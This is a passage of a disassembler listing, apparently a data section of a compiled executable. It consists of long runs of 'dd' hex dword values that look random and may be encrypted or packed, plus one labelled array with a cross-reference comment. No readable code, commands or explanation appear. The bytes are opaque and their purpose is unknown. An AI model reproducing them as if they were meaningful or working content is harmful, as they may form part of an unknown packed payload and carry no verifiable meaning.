8130B72h, 0A6262169h, 0CC68008Bh, 6047BE1Dh, 9737F82h dd 9E35B3B2h, 87841FFCh, 5F099CBFh, 953E66BDh, 84986014h dd 0BD349520h, 0AB9DA6C3h, 4D055F8Bh, 5D2DE968h, 0A525CB44h dd 799501E4h, 535C420Bh, 0C98F73D5h, 2F54E57Dh, 4D550CC2h dd 13BBA433h, 0E6BCA53h, 12463468h, 428D9DBBh, 0C7555EE7h dd 0FCD3B4BCh, 0BA5239A8h, 0D1D4A5DAh, 0D5F909D5h, 5CBC6E7Dh dd 824D6BE8h, 0C5823075h, 59BBBD24h, 9B34852Ch, 0E8891A0Bh dd 3D4E0EF7h, 5A9B0BC7h, 0F284B1F8h, 16EA02CFh, 0DD11C93Dh dd 8297B6Ah, 3C760E83h, 55F24D01h, 316DFE8Ah, 40D3E820h dd 0C2EC5D73h, 803206BFh, 51500090h, 4AB495B5h, 5967EC30h dd 0E5073118h, 0E75CED57h, 93A5AE9h, 62005F29h, 137A5563h dd 432D699h, 9B7760D1h, 4E923A6Ah, 12340BACh, 7F04FE55h dd 0CD94CB03h, 0B488F2AEh, 101B80E9h, 0E1AA7815h, 0C1686855h dd 601BFE2Ah, 689F0C54h, 5F7458F2h, 9813D22Dh, 2D328B90h dd 2E6544E0h, 1F87EA8Dh, 0CD79E43Ah, 0C52CD741h, 0C4B62A78h dd 0E522DC4h, 56B89D13h, 15009BBEh, 2CBA423Eh, 27C5B8EDh dd 1F807BE9h, 0F86976B9h, 0C84C01FEh, 685EB014h, 0BD6E5C0Bh dd 215109D2h, 786BD0F6h, 0EC1E5E08h, 36D2B5CCh, 0DAA2F653h dd 59951C70h, 43C16A71h, 68A8E7C0h, 0C6BF7042h, 30CD0B72h dd 780559EFh, 589CCC1Eh, 0DB4A96C4h, 4B7B62A7h, 0B1B4042Fh dd 0AF3CC406h, 23C4E41Dh, 21BBC828h, 2B02C4F9h, 9E606EDFh dd 6BB7A4B4h, 0C04DE939h, 3DD2B15Bh, 149FD81Ah, 0E02C7155h dd 0D80D4893h, 7BF2700h, 6A0EB951h, 0C48B8B8h, 0D5FC8AE9h dd 0A10BF178h, 761F595Ah, 0D1F7061Fh, 440A1841h, 0E2E7BC5Ch dd 665EFA3Eh, 4C05CE90h, 5278284Eh, 5D2B2092h, 207DBE14h dd 60292DA5h, 0BC7BAD83h, 5F8C6383h, 0F6C7B703h, 2489C01h dd 72DBED0Ch, 8FE12947h, 0B0C96491h, 7C307331h, 63B8F909h dd 20A8378Fh, 14AE0546h, 57E1D12Ch, 3AECFC25h, 81080477h dd 0AC54F6C9h, 27F11077h, 66585901h, 2E6E5B68h, 0C2D81056h dd 0F23A4EF5h, 5AD58459h, 265FD1AFh, 0D44DA58Ch, 0C3136201h dd 63464E02h, 3403B610h dd 5634C601h, 8C81BE83h, 0A93F1704h, 0DC5B8440h, 8D52540Bh dd 7FCED420h, 0EFE0355Eh, 27E4BF1Eh, 6DC241DAh, 8F3079D3h dd 0EAC130CDh, 9A02F007h, 33D2B7CBh, 0AC847B95h, 0BD2816BAh dd 9AB69273h, 0C065A830h, 0E5E603EDh, 800807C1h, 197019F5h dd 0E2AD4EA5h, 5621B335h, 0EE26CFCFh, 0CBF898C9h, 55ABBF57h dd 0AF16DFF8h, 1E203190h, 0A2AE80F1h, 35EA1253h, 803AFD09h dd 7FADF781h, 6FFD4CFBh, 0B2E2704h, 3CF55Ah, 0B3E95F08h dd 0A6ACB15Eh, 0C32FF8F4h, 16D0FDE9h, 0B072B47Bh, 0EC1F86F9h dd 0C9CBD5F6h, 0E0E9328h, 9741CF6h, 0C8FF5DE9h, 0B7565E74h dd 5CF9655Ch, 1397F282h, 27D6C76h, 0BA49693h, 0DE9562D5h dd 0B3210B9Ch, 0C7624E7Eh, 0A9588B02h, 0F617FF73h, 0C2D1DAAh dd 607D7EFDh, 47B55B3Fh, 74640CC2h, 754349E7h, 0C34D02FFh dd 0BEC71CA8h, 3A868DDDh, 0CB3E228Ch, 0B02D504Ah, 5AC97093h dd 0CB231FA0h, 0D476C180h, 0C139F58Ah, 0FA24C747h, 95FE32B5h dd 2A6804CBh, 16F3A373h, 33CB3A33h, 7849A04Eh, 0EB88304Eh dd 2F78B692h, 0F30EC5D3h, 0C6F21FDFh, 0FE517D71h, 0FA1C792Ch dd 0F15A118Bh, 44630B81h, 0F6082A90h, 0EC027D82h, 985D5BAAh dd 8B4D128Ah, 301EB0BDh, 0E60D06Eh, 0A219EBCEh, 63EAD18Dh dd 0DCBEFDA6h, 0F79E18B0h, 6FC0DF88h, 0BF541F0Bh, 52C2092Eh dd 5A068468h, 0FE4B2DE8h, 4AE1D57h, 0D049F8B1h, 0B84B9CA9h dd 6FC07A4Ah, 2E5984CEh, 2DC46FFDh, 0A07FE989h, 35F7E681h dd 2D6E48CFh, 7C7CE73Bh, 0CDF65007h, 0AD3B4808h, 0C9189C2Fh dd 288D40Bh, 72AD8848h, 60AFCC9Dh, 79514606h, 1FB258ACh dd 0EBABE92Ah, 265A87A1h, 0F8A34061h, 2CD95C4Fh, 2231916Ah dd 65422C2h, 48D62A1Dh, 233B120Ch, 95AD043Eh, 0F15B0B4Ah dd 2B074D2Ch, 642ED8Bh, 0B8D2A85Ah, 5A1AAADh, 12EE71C0h dd 3672BBE4h, 0F0EF9001h, 0DF9BFBFh, 4B30E4EDh, 0FD400084h dd 0F54DBF25h, 10543B5h, 0DB2CE9D7h, 0F2D706E8h, 0C60A18C5h dd 3FBCEDA1h, 357B8002h, 0EF1754E2h, 725BCD88h, 68560959h dd 66661219h, 0D981D725h, 41408C8Bh, 67955810h, 8325A636h dd 0A3E98EB2h, 0A701BC8Dh, 844551C3h, 2DFB62FBh, 8F10297Dh dd 33326407h, 0CC250DE8h, 63E532A0h, 450969EDh, 575CD81h dd 0DFF67492h, 539BE909h, 90968D59h, 9FA2E25h, 0D424D06Bh dd 0A7ACB858h, 8AEEE535h, 0C49116D6h, 0FF02B122h, 5A39BD40h dd 0DF7F1C24h, 46A71030h, 792ECAB3h, 0C4A7BD92h, 0E9D96F5Eh dd 2A239BEDh, 0A507ECD7h, 5E6A2D21h, 5282F58h, 0B55152D8h dd 0D0508469h, 74E580DCh, 9D84E916h, 5815C962h, 0C8FE3769h dd 5826AC04h, 0B2CCEB5Fh, 0E9575B20h, 61ABA535h, 0AAD8801h dd 0EACC277Bh, 67E510D5h, 0EC23EC3Eh, 4F3305CAh, 0BE87728Ah dd 768B7D60h, 29592771h, 83E85060h, 8F62A99Eh, 1297DE47h dd 9AF4A4EBh, 9D34F89Fh, 5F520359h, 14017F6Ch, 0E9471E16h dd 0EDA5FFCFh, 6D9801F8h, 0AC27395h, 58EA1F82h, 6C0103F2h dd 565D4016h, 53D7BE9h, 0F858C716h, 169658D4h, 8BB8A097h dd 7F7869F2h, 0E9F8269Eh, 690A95ACh, 713BC52h, 9D80CC67h dd 3FD97100h, 0FFBE63BDh, 41E91BACh, 0EECD6946h, 140940D5h dd 5120490h, 0CDFE1781h, 19ADB6ECh, 669EE80h, 0E4E6D884h dd 0EFD6E913h, 62C2C634h, 0B5144C6h, 13F6622Bh, 0B8120E76h dd 0D5F74D41h, 2C61EE87h, 0D1D02680h, 0DE01EA97h, 0E909BEB3h dd 16ECE3F4h, 9FE9E7Eh, 1560898Bh, 68045551h, 44F66A57h dd 6D2138EFh, 0CEB23612h, 0F26897A0h, 0E3469F56h, 1E7D1509h dd 76410923h, 3D7F02EEh, 0B9C02105h, 5781EB85h, 0AE6C7EF1h dd 1535013h, 0CD73A9B7h, 0F13AAA20h, 4BC1CA02h, 614A0FCCh dd 0BB9DBAF0h, 64F4E66h, 9D2428Eh, 4D891C62h, 12041606h dd 5A01F218h, 41AECA0Ah, 7AD1F80Dh, 0C6D0F2BDh, 6C28946h dd 0A5D08495h, 0AD6C9BA1h, 0B5787B2h, 0B0B44EE2h, 23125EAEh dd 1A98432Fh, 0C800BE55h, 3108E05Ch, 5F65E9C6h, 166FE358h dd 7F90759h, 6430E805h, 2857E036h, 85A5424Dh, 52CDAF3Ah dd 71161522h, 0F4CF9143h, 7E8A6F81h, 0D502692Dh, 66D7CE31h dd 34A6C175h, 0CC44C448h, 0E926E0D1h, 66852617h, 9C07F0BDh dd 847BE889h, 0E4D645B8h, 82424F6Ah, 0D95D54E6h, 0ED599FA3h dd 32AF7518h, 0D5F8704Fh, 0A264F305h, 4380BA66h, 0D4286845h dd 0D1B1CC94h, 7DFAFCEEh, 244EADA9h, 1B1E04BEh, 24AF028h dd 46FC3EBh, 24ABA35Ch, 0FDCCC2E7h, 0BE066577h, 0AF81A1A5h dd 3B53D101h, 5CBE3698h, 0BBA42A4Fh, 527ECEDDh, 5F5FA380h dd 457CD499h, 6813B656h, 0E9176199h, 0B8D874F6h, 1E1A0C0Dh dd 28FE378h, 26E1912Dh, 3C7CE93Ah, 34E85AD7h, 0E21C1250h dd 9440487Eh, 9CDD1700h, 5AD3319Dh, 990DC0B7h, 4B969910h dd 5DCB2553h, 9A59B15h, 31F5B90Eh, 0AC7D093Eh, 0DA2E605Fh dd 80CEA1C0h, 1C2BBFFDh, 515027A2h, 0AF824D9h, 45F75802h dd 4C6C25AFh, 715D20h, 78495E25h, 7E8C12Ah, 99A8B490h dd 94173A2Dh, 80E0CCBBh, 0FEF10A81h, 3CDA9EDCh, 0D9E9B5CFh dd 177168CDh, 26A282B2h, 0C70EFE69h, 55EC5AB0h, 6852B702h dd 4C7D0BB8h, 0BDE570B4h, 0B01753C6h, 0AF1326h, 9A6A5C68h dd 0F5758110h, 452C041Ch, 5D23E94Bh, 0EEFD2EE2h, 0B2B64E85h dd 56716159h, 3E301D9Bh, 0B8CD6A2Ch, 11339BAh, 0CF591CEBh dd 0F2508D9h, 21B204B7h, 76CFFEB0h, 0E201484Dh, 50066B46h dd 1128183h, 14EFE958h, 0B2028972h, 29347437h, 809A2EAh dd 6EF285CBh, 7719BD00h, 0FC4D5C7Ah, 0FF786F09h, 7BE06A02h dd 31600D54h, 0CE156526h, 0CDE0F2AEh, 4BE3D118h, 390BF3F2h dd 800BCC68h, 1BFF3712h, 0DD312F5Bh, 501A0E5h, 1B7B4395h dd 1A18842Fh, 53599907h, 3DB2E9E1h, 17F1E662h, 0AC128275h dd 0A233DA68h, 400FB763h, 480320Ah, 0E5C055F5h, 8BAB8206h dd 245C2900h, 0BD5B7108h, 0E9726716h, 653AF645h, 8762EE16h dd 14F05FB6h, 10B55A0h, 0C093ECB7h, 0C01DB38Ch, 801603EBh dd 0ADB1D3CBh, 0B3FC3D8h, 23716851h, 0DE88B818h, 0E926F1E4h dd 52878E84h, 0D28EA2B2h, 1021B6E1h, 0BC5EB70Bh, 0E11011Dh dd 8CB83118h, 0BFED6FF4h, 3C7DAFE1h, 0F7175F1Eh, 2AE4B8A1h dd 51D243Fh, 38572FADh, 0E26853ACh, 718F1251h, 5079E85Bh dd 72129801h, 100150CCh, 2268AE3Bh, 898BC26Fh, 64024A75h dd 81D3716Bh, 0CE91602Dh, 0B013607Ah, 5AAC0103h, 0C25211E1h dd 899EC757h, 534155E9h, 7E2A7142h, 0E6C93C1Eh, 283DD90Dh dd 58F6E016h, 0EE090F7Fh, 0D7C233E9h, 0BFB3167Fh, 0DE98938h dd 31E89C4Ah, 884B9E2h, 0B12A968h, 29D8D9E9h, 2065F7A2h dd 570B6321h, 289B0150h, 0C347FE75h, 761A9726h, 0FC4A304Dh dd 4B9DBF27h, 12D1DE2h, 668B51FEh, 585E1756h, 0BA01F5F0h dd 0F0CB0B3Eh, 59C0B428h, 75FC3CD0h, 97E9530Bh, 0C20E5939h dd 2F7EA8BDh, 3F7AA24Fh, 0A7E8E135h, 0D94CB52Ah, 258E7C83h dd 2CE04555h, 0F031C21Eh, 82FCFF90h, 0B8C1FE80h, 0E3095EF7h dd 6A74587Bh, 6870EE5Eh, 6104B494h, 37436E9h, 26CE105Fh dd 202500A2h, 2D46D943h, 99033A1Ch, 86012ACCh, 0E9229773h dd 9E003F3Ah, 1A6156BEh, 0C1295B47h, 7FE4514Eh, 0FB92D8F3h dd 40E96D30h, 0AD96949Ah, 0D20017EAh, 6D1B0635h, 2E433090h dd 825DE24Eh, 68E06BE9h dd 3D0A278Ah, 724427Fh, 0F4CA7BAh, 77F36727h, 6CC17E9Bh dd 5B36848h, 3F9D4BDDh, 9730CB9h, 36DC265Ch, 37C12Ah, 2EF77EE4h dd 284EE94Ah, 2A6055A5h, 24AB294h, 0D16D4FBFh, 0B0D52974h dd 0B32D41h, 5586665h, 229B0FC3h, 6AE9250Eh, 6E05B774h dd 9F05C2E7h, 0E3F2667Bh, 0FEE6D085h, 0B06654DCh, 0D963F76Fh dd 81ED8A41h, 0D3C36865h, 0EE10175Eh, 8D3116A5h, 608C08FFh dd 818F7648h, 1FB10920h, 96E43EDh, 5676666Ch, 2B6EC42h dd 0B1C1FD89h, 0D0933D1Ah, 27D935EBh, 6C8409D5h, 3B284A05h dd 79828214h, 2DC8D84Eh, 999DF51h, 98D7F846h, 0AB1108CCh dd 5EF4E783h, 0EB50F2A0h, 1E66970h, 4DBD755Ah, 38542668h dd 0DACCD639h, 4B6D17F0h, 2750AA5Ah, 0F6446008h, 98A417F3h dd 0ED9C30D8h, 354EF35h, 0F35523Bh, 0E74469E7h, 0CFD04F0Ah dd 79A37488h, 0C9BB3033h, 0FBA9F231h, 55166E7Eh, 20AED589h dd 0F4CE98Ch, 0A682FA9Ch, 0F5CE62FEh, 455F4C7Ah, 3B55891Dh dd 2D3C9Eh, 527B73Dh, 7F1482DDh, 5C533719h, 2AED63FDh dd 0BBE7EE85h, 0EEC7E10h, 60CCCE80h, 0EEC060E6h, 0B0500708h dd 802F2454h, 1DE902E8h, 2C0EE4BCh, 0F744E41Ch, 0AEFF3EBh dd 0A90DE268h, 0A30BDB68h, 0A068142Fh, 35E41Dh, 0BA5258D9h dd 44A82FA7h, 71D78AA0h, 97553F6h, 7BA45A4Ah, 3E960BEFh dd 51DC204Dh, 0AC45F783h, 0AC92853Fh, 49BD69B0h, 0C027EED8h dd 6CA4C275h, 1FBCB730h, 5F5D5009h, 0C7005745h, 2BBA2156h dd 0C5492CE9h, 71A9812Dh, 715D173Bh, 0F1A0F4ACh, 4D09C399h dd 52B2F5ADh, 657D8B4Ah, 9B97BFC8h, 0AE28FEDCh, 0A6665EFBh dd 0D63C2DDEh, 7668C067h, 484B973Fh, 9151EA28h, 0B4500908h dd 0F9F681C4h, 8D88A4B3h, 0CBEF8188h, 82278748h, 7465280Ch dd 0C75240B0h, 8A0B2F2Fh, 555373C8h, 0AED2E924h, 299140AFh dd 3AF2862h, 0D1D760FEh, 167C18EFh, 0B9DEFEFDh, 5B2F0820h dd 0F7BA7D58h, 894F59DDh, 33C4287Fh, 0F02A549Fh, 759985E1h dd 0AA64A64Ch, 0A2A357A4h, 54D9588Eh, 0F72F81BEh, 30B43106h dd 0F9C0C82h, 0D0DD5B55h, 796D0C32h, 0C1C7FE3h, 6B954402h dd 0C6A422E9h, 0E1ACB4D3h, 3E68C0E9h, 40FB70D5h, 5D46A62Ch dd 0B8055059h, 4D8558Eh, 297232FBh, 8449B976h, 0BF172CE4h dd 65F6754Fh, 0E85939D5h, 906F5A30h, 5CE388B4h, 0D689D402h dd 7AD199E9h, 61ADEDF5h, 84B97E76h, 1D346AAh, 0AEED13BAh dd 33C35FC0h, 248C3E14h, 9643DEA8h, 0E9560264h, 25578478h dd 12AA7F40h, 0D058A8FBh, 7B712DBFh, 8F9D08F5h, 0D5C2811Fh dd 0DD7D6759h, 0E7F8FCC2h, 0C3F3574Ah, 38470892h, 1154F340h dd 0A67460D0h, 1B316DEEh, 406CE91Ah, 58827724h, 4DD75652h dd 0E95C824Ch, 786895E5h, 3A003568h, 2D584392h, 0E9E4088Ch dd 2731ADE8h, 0A87C15AEh, 2A48C181h, 0D1600A7Ch, 0B559BD9Dh dd 0CD92844Fh, 0E20158E9h, 1457073h, 0E9918BF9h, 7677E282h dd 7A059C83h, 6623EE0Fh, 56FBF9E6h, 0F2B2565Fh, 0BD3E3DC0h dd 3500583Ch, 1AF41CEh, 9801105h, 0A5E9C2EDh, 10CC9258h dd 4BC0062Bh, 358ABC28h, 12EA4F70h, 0A985FA44h, 0FEB4CCFCh dd 6F447E81h, 1B22716Ah, 0C0BC93B3h, 0C7FEAB00h, 3CB15166h dd 7ACC8052h, 17E70710h, 5D0630ACh, 5B77D57Eh, 0CEEACCD6h dd 34710903h, 0D8BD5545h, 9F429179h, 0C5F13624h, 1F97E99Fh dd 0B76626C2h, 28CABC3Eh, 0EB308EAh, 0EA94E820h, 59ED8812h dd 0E292513Dh, 5A443145h, 0B0AC7A56h, 0D39F01B8h, 0CFD12F73h dd 13FB0265h, 0CBEE8A47h, 1CC45F58h, 9CF6E924h, 6125A8A8h dd 8106534Eh, 727BB951h, 0F181CC4Fh, 2D0D7F60h, 4EFA0E1Fh dd 0A4A8467h, 413E5907h, 6A1D36E9h, 0E9C247CBh, 0A3753B39h dd 20505FB2h, 801CC0A0h, 0C4C2ADE4h, 40E688CDh, 0B669F7FAh dd 7C76834h, 0DB2968A8h, 55316FFh, 66215DBAh, 47D59071h dd 0E918C731h, 0C595F7F0h, 2BD01834h, 42B42EA3h, 4026AD25h dd 2F152837h, 10D562ABh, 55096822h, 0B0984221h, 6E64D94h dd 10202D12h, 4BBF4EE0h, 8498FCCEh, 0BD126737h, 62452DD7h dd 7DE7FD7Ah, 0FAC6E985h, 0B276088h, 5E0A8021h, 0E5C48F5Fh dd 0F2AAD087h, 0FD60169Ch, 68833DF9h, 4D183A81h, 0B7C1B52Eh dd 5BE6954Ah, 68584396h, 8B064BBFh, 0EA0116F2h, 6C481ADEh dd 587A4975h, 75FE2B84h, 0ABA550A8h, 5CF65739h, 446F1733h dd 0BAD0F79Dh, 0B43C2A36h, 31B2012Bh, 3E2118B8h, 9B57A804h dd 0F1D0AE12h, 7E4D2740h, 4C186E28h, 0EFFA0904h, 5C71D801h dd 0E0943E50h, 3600F95Dh, 5C99B6Ah, 0F8772492h, 2D50CFB8h dd 5D26E907h, 42A4337Eh, 0DB36F20Ch, 1B22121Ch, 0A310EE04h dd 0F6AC5007h, 59C7571Eh, 442BCACFh, 0A6842936h, 5B1A0718h dd 69E22F76h, 9EF145Fh, 5F545753h, 33E467F9h, 0AE2FE904h dd 61B9F900h, 9F089F29h, 82608342h, 0D4C7CEDh, 3A0713CEh dd 35D080E8h, 0A4D1BF96h, 0F32BFF68h, 5852181Dh, 9256E99Dh dd 0D2BD0742h, 0A43AF139h, 1D9DFC2Ah, 1ED3ABB6h, 0B0C1DB90h dd 6C243079h, 5F144E86h, 8CEC6672h, 0F660E26Eh, 28328197h dd 0FF07DFD8h, 4C86331h, 9F22FA7h, 0AD99B105h, 0D2B83E5Dh dd 10DE8BD7h, 5838FB6Dh, 28DA05AFh, 0CCB23EFFh, 4F1804D2h dd 0C5F2DD1Ch, 0E4423F76h, 400121FCh, 829D5F23h, 688D215Dh dd 0E336EEFh, 0E1DBB078h, 9D29E9C0h, 0D3501E0Bh, 127A0F20h dd 0E82A1768h, 1610CEBCh, 0FEE520E8h, 0DCDCD682h, 8FBA00CCh dd 4A35DE23h, 92EA313Eh, 0C337D443h, 0B2A4EBA7h, 8B35C6D0h dd 49452826h, 4F067DECh, 0A923C56Bh, 135A64CAh, 9D095414h dd 0A3028B0Ch, 0BB5DA928h, 694FDABCh, 50D94927h, 7D5FAF52h dd 7D27C6FBh, 11E9C6B0h, 0B1A05CB2h, 0D1356EEh, 974B1CF9h dd 9EF65CCCh, 0EA167C88h, 0A3D4B8A4h, 1CC4EFEEh, 2478D2E2h dd 4132B789h, 20B3342Dh, 0E2ACCD1Bh, 0B85881B4h, 45301C6Bh dd 4B56E29h, 0DA1C6F21h, 0B4E14C6Fh, 0B27857C1h, 73EBD205h dd 538FD079h, 4BE12B3h, 1475FEB3h, 365907DEh, 0CF600286h dd 7C5B2E95h, 8CF70401h, 85B787BEh, 0BA0541D3h, 2BB0642Ch dd 4D463E0h, 0D1294849h, 0F447FFEAh, 6900412Eh, 92EFA8E9h dd 527D382Bh, 0E65FE4Ah, 0BB3F9CABh, 168EBD80h, 92E7074h dd 20F6CF2Ah, 98F1A364h, 0C9DEFA28h, 65F6AD1Fh, 0E17D3351h dd 85878C35h, 4B7F4699h, 0F304FD77h, 0E49AE6D3h, 0C327D58Eh dd 6676ABE2h, 61A3871Ah, 2B8B28CDh, 0B565FA01h, 390144B8h dd 59AD88D1h, 58442A1Ah, 0D5EEBD27h, 59501196h, 0B440D612h dd 0D829245Ah, 0D0731376h, 31C7EA08h, 1CB0FD7Dh, 74B17DFCh dd 0BE56E700h, 1F50852h, 44CE8154h, 82312B6Fh, 400AE00Ch dd 0F775427Dh, 4F62223h, 94890DAh, 1D2F285Eh, 0FE36D872h dd 0A34CB5DDh, 0ECB73E7Dh, 425BB7C7h, 41520982h, 0D144E048h dd 0E1585E03h, 0BFFED463h, 0E9B714B8h, 0E96E527Eh, 6C05B540h dd 38AAA99Eh, 88090594h, 0E12BB508h, 6C386B6Ah, 7D24D349h dd 803A007Ah, 0E95269CBh, 5D9C8A2Ah, 266DBA04h, 0A6C027A2h dd 5CDC3753h, 1062917Ah, 0F2D45773h, 1B6AED1Ch, 51C2B60Eh dd 0F580C3B5h, 0BFF29F6Fh, 7B076020h, 0E831801Eh, 2BDC5E4h dd 77B1A245h, 0CCC2B651h, 0E14C4805h, 19299FEBh, 0B430C05Fh dd 0E72816CEh, 0AF60B066h, 880B4142h, 41DC52FEh, 0DA3FE984h dd 0A235A3C9h dd 0E47FA1E9h, 0A42CC2ADh, 0F12082DCh, 0D0036B0Bh, 14035E63h dd 0D14A08EFh, 0D2D85Eh, 0C473C168h, 0F4DFE8A1h, 0B44AF920h dd 0DA501E91h, 0D3DE65B0h, 0B62B12Eh, 0D419F1C6h, 0F4F173B6h dd 53D2D96h, 82F68A71h, 0C59940FFh, 11574042h, 6333E913h dd 2B27E0F9h, 0C0322898h, 24A55FDFh, 0D0815F54h, 0A02E3110h dd 450BF276h, 7813D354h, 0AE09075h, 23EE6E35h, 0AB5D129Ah dd 2C0B8D50h, 0D6088A57h, 0F7290BBBh, 0E9197E9Ch, 0CD239860h dd 0AD67920h, 1068041h, 25DA2D62h, 68AD594Ah, 2834B55Bh dd 65F384CDh, 4F2F22F4h, 0D690E311h, 89536F13h, 0D4F482BEh dd 0EBCDBD85h, 0D3D25999h, 0C1880287h, 1BD70168h, 0D2CBD397h dd 261B7FFBh, 0BF53D9D1h, 0E3DEA71Ah, 0E9F90A07h, 0B1AE46CEh dd 3F871BB2h, 0C1EF7425h, 3A4CD0CFh, 54BFE3D2h, 937E53C7h dd 0F61A9C27h, 0E705F0ECh, 856AD3B7h, 0E0505855h dword_4E414C dd 5B17636Fh, 70402D5h, 39BBE4FCh, 0F0CDF826h, 209A449Fh ; DATA XREF: ___:off_42DE44o dd 5A021445h, 6617C580h, 0AB2C6052h, 9098B2DEh, 0D073201Eh dd 60D5B780h, 0C43F6681h, 6B21FFC7h, 0A22F78A4h, 0C653CFF4h dd 793CC3Bh, 57260BF2h, 0C30AB259h, 5C0F1EE4h, 64433332h dd 21BFF4B5h, 739715DDh, 0EDA85A6Dh, 2D1F6882h, 0C0C7D49Bh dd 5940ED61h, 3341A394h, 5FF66E57h, 0D22D6AF3h, 1305E643h dd 44A7372Ah, 0E1493h, 8CD48FBBh, 40315F77h, 55F53FC1h dd 82EF52E3h, 834FEBF2h, 4B9854Dh, 0DAE89153h, 3E060B81h dd 354CF918h, 73126859h, 0BB403B05h, 0A7A08960h, 154B0BEBh dd 0B7890B0Fh, 197547Ch, 9FCB04EFh, 89F3BADBh, 0B1B9497Ah dd 17685B05h, 0BFFE8C6Ah, 74790A1Ch, 899DFC25h, 3D51CD42h dd 3D92DF25h, 9960F289h, 0C8A3C809h, 16A8AB82h, 33310F6h dd 143425BFh, 0F8564A6Dh, 718105B6h, 4EAF22CCh, 5F85EDFDh dd 0FD92C32Ch, 2D092200h, 0E3C14CFCh, 0C2AB805h, 3CED1B17h dd 5A7558F4h, 83FC484Bh, 0EA255F3Ah, 0E91022E6h, 0FA5AD688h dd 0E8F67552h, 0CA52FA5Bh, 10915209h, 95281B51h, 132211CEh dd 0FAEB0702h, 0B31D3B63h, 0F026AF0Fh, 38E5615Bh, 0B85E5BECh dd 0E9F9F547h, 14D7568Bh, 5F5E2DF7h, 0D6701C7Fh, 0AF9CEE0Dh dd 0DDE912D6h, 0F288BABCh, 30A75AECh, 5D846850h, 0B5594CBDh dd 0C803F85Bh, 3EB879E9h, 0B326AC0Eh, 536F084Eh, 348FBF01h dd 434C2C70h, 0E90C1626h, 97EF0077h, 314B74D7h, 21275AE8h dd 4A78D9F8h, 0CA270BEAh, 0FBBF44EEh, 0A3794BD4h, 0E9F2C58Ch dd 1F8EBFFDh, 78580F22h, 688B49DEh, 48CCFE40h, 0A9902FB2h dd 60F450C2h, 2DE94812h, 17B8A8C0h, 681B2C4Bh, 20202EE5h dd 0BDFBAC87h, 521C0D42h, 9ACF9BDh, 4C5DA8B6h, 9270F63Bh dd 0F3282517h, 0C3C25B1Bh, 0D84807F5h, 6BF9EB05h, 0F2EB808Fh dd 8F9740FEh, 85E9E006h, 3EDA9563h, 947A35Dh, 9839D068h dd 4B9666Bh, 3E91559h, 5CA7B25Ah, 17E9A10Eh, 452F1625h dd 0EDAF4E8Bh, 8BC0D6DCh, 0BF4A197Ch, 5F25560h, 4A4FD995h dd 8A20935h, 0E9588C54h, 0CC4E5AB0h, 0C29F8A88h, 96C5F4Dh dd 8BB7CAF8h, 0F30EF56Ah, 2A0EBC76h, 0CDCD955h, 7C23A21Ah dd 30590668h, 0D2FE47C6h, 0E5C4EF54h, 4218B509h, 0E5E3E30Dh dd 0AD5F4AA8h, 0A7DA8696h, 70F60431h, 871AD53Ch, 4461D0EEh dd 1241C7Eh, 82237F1h, 8B58C118h, 954AB4C9h, 3EB2B4D3h dd 4C0B78FBh, 0CE076C57h, 0C233EF03h, 8C59A166h, 5DB13999h dd 65213682h, 59F00441h, 1D6B9822h, 0C0A63EEDh, 0A9BF5720h dd 6E16060Ch, 9CA094E9h, 68840CB9h, 80465360h, 570A0DD2h dd 98A69CCBh, 75C4101Eh, 0E4C40920h, 1DB7F201h, 7A9249D4h dd 0C08057EAh, 0C07F6607h, 8758130Bh, 366D514h, 52A74022h dd 0B12AF081h, 0BDBA4ACBh, 0D5291371h, 0F5C6EDA2h, 512D3FDFh dd 0AC459821h, 605F2E46h, 12BD39EFh, 2F704DACh, 6E41076Ah dd 912032E4h, 21AED632h, 6C7EE9E3h, 5B3D58C6h, 3B6539BEh dd 981379A9h, 0A81E36Dh, 0B53207FFh, 24A0061Eh, 10ADC729h dd 58BB02F2h, 5F3B3039h, 0D48163C0h, 9BE91997h, 5D1AE2C3h dd 2D034421h, 68B5F81Fh, 0B3E2504h, 0C7D01156h, 0B8FFEDFDh dd 40A35A8Ah, 0BA730B49h, 0CBAA2916h, 0BF580804h, 0EF8EB644h dd 79C4B2BBh, 7AC165F9h, 0B040BCDAh, 0A8300BDDh, 4C5531h dd 39EAC920h, 0F125DE89h, 1B42065Eh, 1DD80985h, 44F5A69h dd 5FE9CF22h, 5A86BFD0h, 50B54EBFh, 0CA0139AEh, 0A9DA2A3Dh dd 71F99657h, 0E191B85Bh, 0F980EF8h, 5011BAF5h, 0FB65302Fh dd 0E6430CF7h, 6C0FCFF7h, 694BB005h, 0C1BD60D1h, 6DEB8EBh dd 25623EE3h, 560B0C15h, 817F7B60h, 21201634h, 94E66ACh dd 53C0A8E9h, 0F85A2858h, 5C2C3228h, 0A63F80A1h, 38DD9FE6h dd 1B67302Fh, 4887C999h, 44D77D78h, 4413E0h, 7876E3BAh dd 969C58h, 56592AE2h, 0D5D6E913h, 6804DA80h, 30244E91h dd 5728D5B9h, 4DE91F4Eh, 0B976C000h, 2356E954h, 0FD2623BBh dd 68525340h, 30465BF3h, 0E732D667h, 0E95E111Dh, 301CC798h dd 7AB0B5F8h, 989F0261h, 0BF66A4ADh, 0E92F72CCh, 0F842A71Dh dd 7B9CC272h, 4F3B0877h, 8AEA10B4h, 0AEFC4B3Ah, 39E0E44Fh dd 258A840h, 72F26853h, 7F761CFh, 8D264ACCh, 0E0482A66h dd 4E325F3h, 36E11E2Fh, 7FE961D8h, 5AD3FB40h, 3C53822Dh dd 517F2E80h, 16290705h, 58107D58h, 0BB814B54h, 0F73ED76Dh dd 826A7BAFh, 0F427B317h, 0D0CB0CBh, 3D4C5F15h, 2A9305C4h dd 19875C33h, 0DAD88B7Fh, 0CC08567Bh, 7A1BB805h, 0AADA8106h dd 0CF8004C8h, 4B8C484Dh, 4F09AA38h, 824CD75Ah, 5C1D3CF7h dd 37EFA773h, 38BD98F0h, 1B2DFE61h, 764A1478h, 0F1241849h dd 4FF0ADCEh, 0C2BCD695h, 2901BB62h, 902A5FFEh, 0AD1890D0h dd 69ECA6B8h, 0CE605B81h, 2A39411Eh, 175C4804h, 0AB0A35EAh dd 0F2BC8279h, 13C35909h, 2F5B7681h, 0F9006F57h, 7A1A88D8h dd 34D75C01h, 0D08B852Fh, 0DFEA7774h, 6AD942h, 0B61258B8h dd 75022D71h, 0F7283757h, 9172FFD8h, 1655D482h, 9B1A4EBh dd 20A9276Eh, 16AE4604h, 3861FBF8h, 47402FF1h, 4C83A0F6h dd 0BBFC1B88h, 8276E7h, 3A3041CDh, 793842C7h, 0C5CF0E33h dd 21F37201h, 6DA2E194h, 0F4F601BCh, 56151261h, 0BB66AA47h dd 7C304ABh, 0BF6EEE16h, 9D4317A1h, 6B7E8906h, 